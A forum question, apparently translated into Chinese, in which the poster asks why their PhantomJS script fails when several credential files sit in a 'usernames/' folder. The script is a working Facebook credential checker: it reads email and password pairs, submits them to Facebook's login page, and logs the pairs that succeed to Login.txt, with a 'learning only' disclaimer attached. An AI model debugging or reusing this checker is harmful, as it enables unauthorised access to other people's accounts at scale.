每当我在目录中只有一个文本文件运行此代码时," usernames /"它完美地运作。但是当有多个文本文件时,page.open输出状态"失败"对于两个文本文件而不是"成功"。
真的让我感到困惑的是文本文件的数量如何破坏了这段代码。顺便说一句,此代码不会用于任何仅用于学习目的的非法活动。
var page = require('webpage').create();
var system = require("system");
var fs = require('fs');
function facebooktest(file){
var str = fs.read(file);
var username = str.split("\n")[0];
var password = str.split("\n")[1];
var email = str.split("\n")[2];
console.log(email);
console.log(password);
page.open('https://www.facebook.com/login.php?login_attempt/', function(status) {
console.log("Status: " + status);
page.includeJs('https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js', function () {
//page.render("before_submit.png");
page.evaluate(function (email,password) {
$("#email").val(email);
$("#pass").val(password);
$("#loginbutton").click();
},email,password);
page.onLoadFinished = function() {
//page.render("after_submit.png");
if (page.url == "https://www.facebook.com/"){
var fs = require('fs');
var pathe = 'Login.txt';
var content = "\nFacebook werkt voor : " + email + " " + password ;
fs.write(pathe, content, 'a');
};
};
});
});
}
var path = "usernames/";
var list = fs.list(path);
for(var x = 0; x < list.length; x++){
var file = path + list[x];
if(fs.isFile(file)){
console.log(file);
facebooktest(file);
}
}